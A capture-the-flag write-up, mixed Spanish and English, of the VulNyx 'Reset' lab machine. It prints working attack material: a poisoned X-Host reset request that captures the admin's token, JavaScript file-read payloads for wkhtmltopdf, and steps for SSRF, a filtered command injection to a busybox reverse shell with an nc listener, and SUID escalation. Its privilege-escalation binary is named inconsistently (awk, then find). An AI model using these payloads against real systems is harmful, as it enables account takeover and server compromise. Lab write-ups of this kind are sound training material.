Hello and welcome to the solution of the Medium difficulty machine - Reset from the VulNyx platform . I put a lot of care into this machine, applying what I'm learning in the CWEE HTB certification. I hope you enjoy it.
Next, we will see the techniques we will find on the Reset machine:
Host Header Attack - Headers Override
Password Reset Poisoning
Session Fixation
HTML Injection PDF Generators
Server-Side XSS
Local File Inclusion
Server-Side Request Forgery
Command Injection
Privilege escalation - SUID awk
Recognition
The machine itself gives us the machine's IP address, which is 192.168.93.142 in my case; it could be found with arp-scan -I <tu interfaz> --localnetor withnmap -sn <tu red/24>
Once we have the IP address of the Reset machine, we scan to see which ports are open:
sudonmap-sCV-p--T5192.168.93.142-oNscan
We have the typical ports 22 and 80, which almost certainly means it's web hacking... as the creator of this machine, I can confirm it 😂. So let's go directly to the website and see what's up:
At first glance, it appears to be a talent agency website; several email addresses can already be listed, which will be important once we have fuzzed the web application.
Simplemente entrando en la página web podemos sacar lo siguiente:
Enumeración de correos electrónicos
Panel de autenticación, que se puede encontrar en la parte superior derecha.
Se apuntan los 3 correos:
zuha@reset.nyx
yunjin@reset.nyx
admin@reset.nyx
El más interesante sin duda es el del usuario admin, una vez apuntados se realiza un fuzzing con dirsearch con la wordlist que viene por defecto para un primer escaneo, si este no saca nada importante, ya se utilizarían herramientas como ffuf, gobuster o wfuzz.
dirsearch -u http://192.168.93.142/
El resultado tras lanzarlo muestra varios endpoints que son interesantes:
Al parecer todos los que constan de estar autenticados, redirigen directamente al login.php. También hay un endpoint que tiene para registrar, así que posiblemente podamos crear usuarios.
Login.php
Una vez se accede al login.php se observa que tiene para iniciar sesión (ahora carecemos de credenciales válidas, pero tenemos usuarios), creación de cuentas y la funcionalidad para restablecer la contraseña.
Ahora mismo se pueden comprobar lo siguiente:
¿Tengo usuario válidos enumerados? ¿Se puede comprobar de intentar mandar una solicitud con esos correos?
Se puede poner dichos correos en el panel con una contraseña incorrecta para ver si el panel tiene un mensaje que pueda darnos una pista a si existe o no.
Si la enumeración de usuarios válidos no funciona, lo siguiente sería registrar un usuario e iniciar sesión al panel autenticado.
Comprobar como funciona la funcionalidad de cambio de contraseña.
Lo que quiero mostrar con las preguntas de arriba es que al final siempre debemos preguntarnos que podemos hacer con lo que tenemos y pensar un poco fuera de la caja. Pero al ser un writeup, tampoco me voy a liar mucho con ello. Vamos al ruedo.
Intrusión version 1
Host-Header Attack
Este ataque se suele encontrar cuando el aplicativo utiliza Content Delivery Networks (CDN) como Akamai o Cloudflare que este estos se basan en el encabezado del host para determinar qué aplicación debe servir. Aunque que las CDN suelen alojar diferentes aplicaciones web en máquinas separadas, el tráfico de las CDN se enruta por naturaleza a través de sistemas intermediarios como proxies inversos, cachés web y balanceadores de carga. Estos sistemas intermediarios necesitan saber a dónde reenviar el tráfico, lo que deciden basándose en la cabecera de host de la solicitud.
Para demostrarlo muestro una configuración sencilla de Apache para un servidor web con dos hosts virtuales diferentes:
Nota: Como puedes observar en esta máquina no hay vhosts, pero el concepto es el mismo. Es decir, imaginate que esta apuntando a una IP especifica.
Podemos ver que hay dos aplicaciones web completamente diferentes localizadas en diferentes rutas en el sistema local. La diferencia está en la directiva ServerName, que le dice a Apache que sirva la aplicación web correspondiente dependiendo de la cabecera host de la petición entrante.
Las aplicaciones web necesitan conocer el dominio en el que están alojadas para generar enlaces absolutos, que son necesarios en diferentes situaciones como los enlaces de restablecimiento de contraseña. Si el dominio no se almacena en un archivo de configuración y la aplicación web utiliza la cabecera host para generar enlaces absolutos sin las comprobaciones adecuadas, podría ser vulnerable a una vulnerabilidad llamada password reset poisoning.
Y aquí es lo que vamos a estar explotando, la vulnerabilidad Password Reset Poisoning, como ya hemos visto hay una funcionalidad para realizar dicha acción, ahora lo que queda es comprobar si el aplicativo web es vulnerable o no a Host Header attack, así que siempre que veáis una funcionalidad de restablecimiento de contraseña, esto que se realizará es una buena práctica, y no cuesta mucho probarlo.
Detección
Se realiza una solicitud al panel de login.php y se intercepta con BurpSuite, una vez que tengamos dicha solicitud, ya podemos empezar a jugar.
La manera más sencilla de saber si es vulnerable, es coger la cabecera Host y la modificamos a una que sea por ejemplo test, para ver si esta es modificada lo más sencillo es ver si en la respuesta de la solicitud hay enlaces absolutos del aplicativo web, por ejemplo:
link rel=stylesheet" href="./style.css"
<script src="./script.js"/>
Si se encuentran de esta manera, poco se puede comprobar, no obstante, puede seguir siendo vulnerable, lo que sucede es que será más complicado detectarlo y es necesario utilizar técnicas más avanzadas para comprobar que lo es o no. Sigamos con ello.
Como se puede observar en la siguiente captura, al cambiar el valor de la cabecera Host a test, esta falla dando un error 400 Bad Request:
Header Override
Cuando se habla de ataques a la cabecera host, es importante tener en cuenta que existen otras cabeceras con un significado similar a la cabecera host que los servidores web pueden (quizás sin que el administrador lo sepa) soportar y que, por tanto, pueden ser explotadas para ataques a la cabecera host. Así que no debemos darnos por vencidos, aún hay la técnica llamada Override Headers que se puede utilizar para establecer la cabecera Host como el servidor espera, pero con una de las siguientes cabeceras se puede anular:
X-Forwarded-Host
X-HTTP-Host-Override
Forwarded
X-Host
X-Forwarded-Server
Nota: Quizás haya casos en los que la validación esté implementada, pero solo se aplique al encabezado del host y no a los encabezados de anulación, aunque la aplicación web admita los encabezados de anulación si están configurados. Esto podría dar lugar a eludir la validación y permitir ataques al encabezado del host.
Se comprueba cada una de ellas estableciendo el valor test y se encuentra que con la X-Host si que se refleja el test en la respuesta:
Para explotar con éxito el Password Reset Poisoning, necesitamos enviar una solicitud de restablecimiento de contraseña con el correo electrónico de la víctima y una cabecera de host manipulada que apunte a un dominio bajo nuestro control. La aplicación web utiliza el encabezado de host manipulado para construir el enlace de restablecimiento de contraseña de forma que el enlace apunte a nuestro dominio. Cuando la víctima haga clic en el enlace de restablecimiento de contraseña, podremos ver la solicitud en nuestro dominio. Y lo que es más importante, la solicitud contiene el token de restablecimiento de contraseña de la víctima en la URL. Esto nos permite robar el token de restablecimiento, restablecer la contraseña de la víctima y hacernos con su cuenta.
Entonces, una vez se ha explicado el concepto de la técnica que se aplicará, se procede a la explotación, para ello ya se ha enumerado anteriormente correos posibles que pueden ser victimas de el cambio de contraseña. Obviamente el usuario victima lógico es el usuario admin@reset.nyx.
Así que, comencemos, para la reproducción de la vulnerabilidad se tiene que acceder a la siguiente dirección URL:
Una vez se ha accedido a dicho endpoint, se procede con el envío para el cambio de contraseña, para ello establecemos el correo del usuario admin y seguidamente se intercepta la solicitud:
Ahora se debe aplicar lo aprendido con el Host header attack, se establece la cabecera X-Host apuntando a nuestra IP de atacante, antes de enviar la solicitud se debe abrir un servidor http por el puerto 80:
python3 -m http.server 80
Una vez levantado, la petición queda de la siguiente manera:
POST /forgot_password.php HTTP/1.1
Host: 192.168.93.142
X-Host: 192.168.93.137 <-- Aquí establecemos la IP de nuestro servidor
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://192.168.93.142
Connection: keep-alive
Referer: http://192.168.93.142/forgot_password.php
Cookie: PHPSESSID=j2mil6jc2tela1555mdm50mf5p
Upgrade-Insecure-Requests: 1
Priority: u=0, i
email=admin%40reset.nyx
Una vez ha sido enviada la solicitud, sale el siguiente mensaje:
Tras un momento esperando se recibe como el usuario admin ha hecho clic sobre el enlace que apunta a nuestra IP y nos ha hecho la solicitud a nuestro servidor, mostrando el token necesario para cambiar la contraseña:
Se establece en la dirección URL el token conseguido y como se puede observar, se puede cambiar la contraseña del usuario admin:
Resultado:
De esta manera se ha conseguido explotar con exito, pudiendo acceder a la cuenta del usuario admin:
Nota:En un entorno real se podría utilizar esta misma técnica pero en un VPS, aunque la opción más simple es utilizar herramientas como el Burp Collaborator o Interactsh. Todo depende también de como tengan configurado el servidor, pueden haber medidas de prevención en el aplicativo.
Intrusión version 2
Ahora que os he enseñado la via intencional... cuando salío la máquina un player me comentó que la vulnero de esta manera y me parece genial. Por eso lo he dejado, y al final esta también es la gracia del hacking. De hecho, imaginad lo que me queda por aprender que intente hacer esta vulneraiblidad en un laboratorio y no pude reproducirla, así que... la he CREADO SIN QUERER. En fin. Gracias UmFra2E por comentarmelo ☺️.
Session Fixation
Y dirás... y como puede ser que esta vulnerabilidad haya aparecido, fácil, voy a explicaros un poco en que consiste la session fixation:
Session Fixation (Fijación de Sesión) es un ataque en el que un atacante engaña a una víctima para que use un ID de sesión que el atacante ya conoce. Cuando la víctima inicia sesión, el servidor asocia esa sesión ahora autenticada con el ID del atacante. Como el atacante conoce el ID, puede secuestrar la sesión de la víctima y obtener acceso a su cuenta. El fallo principal es que la aplicación no genera un nuevo ID de sesión después del login.
El problema de esta vulnerabilidad es que puse este código en la página login.php:
Le esta diciendo a la sesión que si el nombre del usuario admin entonces le asigna el rol sin importar el correo electronico, de esta manera yo he montado el PHP para que cuando el rol sea admin le muestre la funcionalidad nueva para las notas, que solamente puede ver el usuario admin. Un error de calculo que al final me ha salido bien 😎.
Entonces, es tan sencillo como ir a la creación de usuario y poner otro usuario admin:
Seguidamente le damos a Register y entramos con el usuario creado:
Al entrar tenemos la opción de las notas:
El problema principal de ese código es que no genera un nuevo ID de sesión después de que el usuario inicie sesión. Reutiliza el ID que el usuario tenía como invitado, permitiendo a un atacante "fijar" ese ID y secuestrar la cuenta.
Inyección en Generadores PDF
Como se ha podido observar en la última captura de pantalla, ya se ha obtenido acceso al panel con un usuario autenticado, específicamente con el usuario admin. Y se observa que hay una funcionalidad para crear notas la cual te permite explotar dichas notas en formato PDF o CSV.
Se accede a dicha funcionalidad dándole clic sobre Notes:
Una vez dentro se observa de la siguiente manera:
Voy a ir un poco al grano, ya que os confirmo que he intentado varias veces ya en entornos reales abusar de los CSV o este tipo de exportaciones y nunca me detecta los payloads cuando son inyectados, así que vamos directos a por ese generador de PDF 😄 (estoy deseando que algún dia funcionen 😢).
Detección de la tecnología usada
Cuando nos enfrentamos a generadores de PDF, por lo general están bien configurados y no son vulnerables, pero pueden haber errores de configuración o que la versión del software que se está utilizando esta obsoleta. Eso abre la puerta a que vulnerabilidades como HTML Injection, Server-Side JavaScript Injection, Server-Side Request Forgery y Local File Inclusion. En este caso nos estaremos enfrentando a un mix de todas ellas.
Pero antes de empezar con la explotación, es importante ver ante que generador de PDF estamos. Os dejo un listado de los más famosos:
Para conocer que tipo de generador es, hay varias maneras de hacerlo, primero es generar un PDF válido y utilizar herramientas como exiftool o el mismo BurpSuite (interceptando la solicitud de la generación, muchas veces salen las versiones), ejemplo de ambas:
Nota: Para ello he creado una nota básica que pone test.
Generando el PDF:
Interceptando la generación:
Importante: Tanto cuando se utiliza con exiftool o con la intercepción, hay que buscar siempre los datos Creator y Producer para detectar la tecnología.
Cabe recalcar que si con estás 2 maneras de detección no es suficiente, hay herramientas como pdfinfo que te permiten conseguir lo mismo que exiftool.
Así que ya hay 3 maneras de detectarlo, como se ha observado estamos ante el generador más famoso wkhtmltopdf 0.12.6.
Explotación
Se borra la nota de prueba que se establecio anteriormente para realizar la prueba y se introduce un payload básico de HTML <h1>test html injection</h1>. Si este es reconocido por el generador, es un indicio de que es vulnerable a vulnerablidades más criticas como SXSS que podrían elevarse y dar más impacto.
No hay los <h1> así que es una confirmación que es vulnerable a HTML Injection, ahora toca lo bueno 😏:
Vale, y te preguntarás... que puedo hacer aquí? Bueno, pues te voy a decir varias técnicas que se pueden aplicar si esto ha funcionado, constan de las siguientes (os dejo mi checklist de detección para que veáis que técnicas aplicar):
De acuerdo, es decir que se pueden intentar explotar las siguientes vulnerablidades:
JavaScript Code Execution
Server-Side Request Forgery
Local File Inclusion
JavaScript Code Execution
Empecemos por la primera, se inyecta un payload sencillo con las etiquetas <script> y si lo reconoce el generador, confirma que se pueden introducir payloads más avanzadas para exfiltrar datos por ejemplo.
Efectivamente, en el PDF se muestra el test1 sin las etiquetas:
Local File Inclusion
Así que... vamos a sacar la artillería pesada. Con el siguiente código JavaScript se puede conseguir exfiltrar datos mediante un Local File Inclusion:
<script>
function addNewlines(str) {
var result = '';
while (str.length > 0) {
result += str.substring(0, 100) + '\n';
str = str.substring(100);
}
return result;
}
x = new XMLHttpRequest();
x.onload = function(){
document.write(addNewlines(btoa(this.responseText)))
};
x.open("GET", "file:///etc/passwd");
x.send();
</script>
Explicación del código:
Primero crea una función para que el resultado sea más legible (este añade saltos de línea cada 100 caracteres para asegurarnos que quepa en el PDF), cuando se haga el print del base64.
Realiza una solicitud XMLHttpRequest, prepara esa solicitud en formato GET para obtener el recurso local /etc/passwd.
Seguidamente envía la petición, el motor que ejecuta el JS lee el archivo y lo muestra en el generador de PDF en formato base64.
Una vez ha sido lanzado se puede observar que en el PDF se muestra en base64 el resultado de la solicitud:
echo -n "base64" |base64 -d
Obtenemos el /etc/passwd de la máquina victima:
De acuerdo, con esta información se ha encontrado que hay un usuario llamado zuha, perfecto. La cosa es que aquí hay que pensar un poco en la situación para poder avanzar, que más cosa se puede sacar?
¿La id_rsa del usuario /home/zuha?
¿Exfiltrar los archivos .php que hay en el aplicativo web?
¿Sacar archivos críticos del sistema que se pueda obtener información relevante?
Uno de los checks que suelo probar cuando estoy ante este tipo de situaciones, es comprobar si hay puertos internos en el aplicativo web, ya que si los hay, se puede intentar interactuar con dicho aplicativo. Para ello primero hay que recordar que lo más normal para comprobar hacer esto, es necesario por ejemplo un SSRF para hacer un fuzzing de los puertos internos, pero aún hay una carta más sobre la manga, y es que si sabemos la tecnología que hay corriendo por detrás, hay archivos del sistema que nos pueden decir si hay un puerto interno o no, estamos ante un Apache, así que sería comprobar si en el archivo /etc/apache2/ports.conf hay algún puerto más a parte del 80. Si fuera un nginx la ruta sería /etc/nginx/sites-enabled/default.
<script>
function addNewlines(str) {
var result = '';
while (str.length > 0) {
result += str.substring(0, 100) + '\n';
str = str.substring(100);
}
return result;
}
x = new XMLHttpRequest();
x.onload = function(){
document.write(addNewlines(btoa(this.responseText)))
};
x.open("GET", "file:///etc/apache2/ports.conf");
x.send();
</script>
Una vez se ha inyectado se puede observar como ha sacado un base64:
Efectivamente, se ha encontrado que en el ports.conf de apache, hay un puerto interno:
Server-Side Request Forgery
Ahora, utilizando la vulnerabilidad SSRF mencionada anteriormente, se puede comprobar si dicho servidor es accesible. Para la comprobación se utilizará el siguiente payload:
Y... boom, se muestra reflejado el servidor interno por el puerto 9000 en el PDF:
This shows us that there are 2 endpoints in use:
GET /api.php/users/{username}
GET /api.php/utils/ping?hosts={hostname_or_ip}
It can be observed that the second endpoint, which is the most interesting, states that it is sanitized to prevent command injection. However, we will see below that this is not the case.
First, we check if we can perform a simple ping and receive it. To do this, we use tcpdump and send the request to our IP address:
We received the ping, confirming that everything is working fine and we have a connection:
Command Injection
Next, we'll look at the steps needed to bypass the security filters implemented on the host parameter. To do this, you need to understand the following steps for circumventing them:
Knowing which operator is on the blacklist/whitelist, in this case it is the |one that is not and allows bypassing the filters:
Now that we know the operator is `/` |, we need to check which commands are possible and which aren't. Initially, `whoami` isn't on the blacklist. In this case, for future reference, we want to use `busybox` to obtain the reverse shell.
Once we know which commands are not on the blacklist/whitelist, now we need to know if there is a filter for spaces.
In this case, testing has detected that ${IFS}the filter does not trigger.
So, knowing all this, we can now formulate the final payload to receive the shell.
We opened an ncat to receive it on port 4444 and injected the payload into the notes, and generated the PDF.
nc -lvnp 4444
We received the shell:
Escalation of privileges
Let's get down to business, since the fun part is over... we're dealing with a very simple escalation where, by using the command to search for SUID binaries, we find that the `find` binary has the necessary permissions, thus allowing us to escalate directly to root:
find / -perm -4000 2>/dev/null
The following command is executed and the user is elevated to root:
Farewell
I hope you liked the machine, I hope you enjoyed it, and above all, I hope you learned a lot, which is always my intention.